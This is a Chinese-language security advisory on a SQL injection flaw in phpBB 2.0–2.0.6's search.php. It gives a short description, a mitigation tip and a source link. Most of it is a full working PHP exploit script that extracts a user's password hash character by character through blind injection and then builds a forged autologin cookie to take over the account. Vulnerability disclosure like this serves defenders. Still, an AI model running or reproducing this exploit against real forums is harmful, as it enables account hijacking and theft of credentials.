phpBB搜索脚本SQL注入漏洞


添加时间:
2005-08-17

系统编号:
WAVDB-00444

影响版本:
phpBB 2.0-2.0.6

程序介绍:

phpBB2是一款由PHP编写的WEB论坛应用程序,支持多种数据库系统,可使用在多种Unix和Linux操作系统下。

漏洞分析:

phpBB2包含的search.php对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可以获得系统敏感信息。
问题是search.php脚本对"$search_results"参数缺少充分过滤,攻击者可以提交包含恶意SQL命令给这个参数,可导致修改原有的SQL逻辑,获得数据库信息或修改数据库。经过测试,可利用此漏洞获得管理员密码HASH信息,利用phpBB的自动登录功能可以不需要破解密码登录系统。

漏洞利用:

 
  1. #!/usr/bin/php -q  
  2. phpBB 2.0.6 fetch password hash by pokleyzz <pokleyzz at scan-associates.net>  
  3.   
  4. <?php  
  5. /* 
  6. # phpBB 2.0.6 fetch password hash by pokleyzz <pokleyzz at scan-associates.net> 
  7. # 4th January 2004 : 3:05 a.m 
  8. # 
  9. # bug found by pokleyzz (4th January 2004 ) 
  10. # 
  11. # Requirement: 
  12. # PHP 4.x with curl extension; 
  13. # 
  14. # Greet:  
  15. # tynon, sk ,wanvadder, sir_flyguy, wxyz , tenukboncit, kerengga_kurus ,  
  16. # s0cket370 , b0iler and ... 
  17. # 
  18. # 
  19. # ----------------------------------------------------------------------------  
  20. # "TEH TARIK-WARE LICENSE" (Revision 1): 
  21. # wrote this file. As long as you retain this notice you  
  22. # can do whatever you want with this stuff. If we meet some day, and you think  
  23. # this stuff is worth it, you can buy me a "teh tarik" in return.  
  24. # ----------------------------------------------------------------------------  
  25. # (Base on Poul-Henning Kamp Beerware) 
  26. # 
  27. # Tribute to Search + Wings - "gemuruh.mp3" :P 
  28. # 
  29. */  
  30.   
  31. // a:2:{s:11:"autologinid";s:32:"e10adc3949ba59abbe56e057f20f883e";s:6:"userid";s:1:"2";}  
  32. $start=time();  
  33. if (!(function_exists('curl_init'))) {  
  34. echo "cURL extension required\n";  
  35. exit;  
  36. }  
  37.   
  38. ini_set("max_execution_time","999999");  
  39.   
  40. $matches="mode=viewprofile";  
  41.   
  42. $charmap=array (48,49,50,51,52,53,54,55,56,57,  
  43. 97,98,99,100,101,102,  
  44. 103,104,105,  
  45. 106,107,108,109,110,111,112,113,  
  46. 114,115,116,117,118,119,120,121,122  
  47. );  
  48.   
  49. if($argv[3]){  
  50.   
  51. $url=$argv[1];  
  52. $username=$argv[2];  
  53. //$userid=$argv[2];  
  54. $topic_id=$argv[3];  
  55. if ($argv[4])  
  56. $proxy=$argv[4];   
  57. }  
  58. else {  
  59. echo "Usage: ".$argv[0]." <URL> <username> <topic_id> [proxy]\n\n";  
  60. echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n";  
  61. echo "\taid\t username to get (ex: admin)\n";  
  62. echo "\ttopic_id\t topic id where user have post (ex: 1,2,3,45,6)\n";   
  63. echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";   
  64. exit;  
  65. }  
  66.   
  67. //$action="/search.php?search_id=unanswered";  
  68. $action="/search.php?search_id=test";  
  69. //$postvar="total_match_count=1&search_forum=1&search_ids[]=";  
  70. $postvar="show_results=topics&search_results=";  
  71. // detect if sql injection allowed  
  72.   
  73. $ch=curl_init();  
  74. if ($proxy){  
  75. curl_setopt($ch, CURLOPT_PROXY,$proxy);   
  76. }  
  77. curl_setopt($ch, CURLOPT_URL,$url.$action);  
  78. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  79. curl_setopt($ch, CURLOPT_POST, 1);  
  80. curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar."'");  
  81. $res=curl_exec ($ch);  
  82. curl_close ($ch);  
  83. //echo $res;  
  84. if (!ereg("General Error",$res)){  
  85. echo "Not vulnerable. register_global=off\n";  
  86. exit();  
  87. }  
  88.   
  89.   
  90.   
  91.   
  92. $i=0;  
  93. $tmp="char(";  
  94. while ($i < strlen($username)){  
  95. $tmp .= ord(substr($username,$i,1));  
  96. $i++;  
  97. if ($i < strlen($username)){  
  98. $tmp .= ",";  
  99. }   
  100. }  
  101. $tmp .= ")";  
  102.   
  103. $cusername=$tmp;  
  104.   
  105. // get userid and data cookie name  
  106. //$sql="$topic_id)+AND+pt.post_id=p.post_id+AND+f.forum_id=p.forum_id+AND+p.topic_id=t.topic_id+AND+p.poster_id=u.user_id+and+u.username={$cusername}+ORDER+BY+p.post_time+DESC+LIMIT+0,2/*";  
  107. //$sql="99999)+or+(+p.forum_id=$topic_id+and+pt.post_id=p.post_id+AND+f.forum_id=p.forum_id+AND+p.topic_id=t.topic_id+AND+p.poster_id=u.user_id+and+u.username={$cusername}+)+ORDER+BY+p.post_time+DESC+LIMIT+0,15/*";  
  108. //$sql="999999)+or+(u.username={$cusername})+LIMIT+0,2/*";  
  109. $sql = "$topic_id)+AND+t.topic_poster=u.user_id+AND+f.forum_id=t.forum_id+AND+p.post_id=t.topic_first_post_id+AND+p2.post_id=t.topic_last_post_id+AND+u2.user_id=p2.poster_id+and+u.username={$cusername}+LIMIT+0,2/*";  
  110.   
  111. $ch=curl_init();  
  112. if ($proxy){  
  113. curl_setopt($ch, CURLOPT_PROXY,$proxy);   
  114. }  
  115. curl_setopt($ch, CURLOPT_URL,$url.$action);  
  116. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  117. curl_setopt($ch, CURLOPT_HEADER, 1);  
  118. curl_setopt($ch, CURLOPT_POST, 1);  
  119. curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar.$sql);  
  120.   
  121. $res=curl_exec ($ch);  
  122. curl_close ($ch);  
  123.   
  124. preg_match("/ (.)*_data=/",$res,$ap);  
  125. $cookiename=trim(ereg_replace("=","",$ap[0]));  
  126.   
  127. if (preg_match("/mode=viewprofile&u=.*>$username/i",$res,$ap)){  
  128. preg_match("/mode=viewprofile&u=[0-9]+/i",$ap[0],$ap2);  
  129. $userid=preg_replace("/mode=viewprofile&u=/","",$ap2[0]);  
  130. echo $userid;  
  131. }  
  132. else {  
  133. echo "\n[x] Error occur... no result for this topic id\n";  
  134. exit();   
  135. }  
  136.   
  137. echo "Take your time for Teh Tarik... please wait ...\n\n";  
  138. echo "Result:\n";  
  139.   
  140. echo "\t{$userid}:${username}:";  
  141.   
  142. //get password hash  
  143. for($i= 1;$i< 33;$i++){   
  144. foreach ($charmap as $char){  
  145. echo chr($char);  
  146. $sql="$topic_id)+AND+t.topic_poster=u.user_id+AND+f.forum_id=t.forum_id+AND+p.post_id=t.topic_first_post_id+AND+p2.post_id=t.topic_last_post_id+AND+u2.user_id=p2.poster_id+and+u.user_id={$userid}+and+ascii(substring(u.user_password,$i,1))={$char}+LIMIT+0,2/*";  
  147. $ch=curl_init();  
  148. if ($proxy){  
  149. curl_setopt($ch, CURLOPT_PROXY,$proxy);   
  150. }  
  151. curl_setopt($ch, CURLOPT_URL,$url.$action);  
  152. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  153. curl_setopt($ch, CURLOPT_POST, 1);  
  154. curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar.$sql);  
  155. $res=curl_exec ($ch);  
  156. curl_close ($ch);  
  157. if (ereg($matches,$res)){  
  158. //echo chr($char);  
  159. $password .= chr($char);  
  160. break 1;  
  161. }  
  162. else {  
  163. echo chr(8);  
  164. }  
  165.   
  166. if ($char ==103){  
  167. echo "\n\n[x] Something wrong occur possibly network not stable...\n";  
  168. exit();  
  169. }  
  170.   
  171. }  
  172. }  
  173.   
  174. $autologin=array();  
  175. $autologin["autologinid"]=trim($password);  
  176. $autologin["userid"]=trim($userid);  
  177. $res=serialize($autologin);  
  178. $res=ereg_replace(";","%3B",$res);  
  179. echo "\n\nAuto login cookies:\n\t{$cookiename}={$res}\n";  
  180.   
  181. ?>  

 

 



解决方案:
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
* 在php.ini文件中关闭register_global选项。

厂商补丁:
phpBB Group
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpbb.com/

信息来源:
<*来源:pokley (saleh@scan-associates.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107936796823781&w=2
*>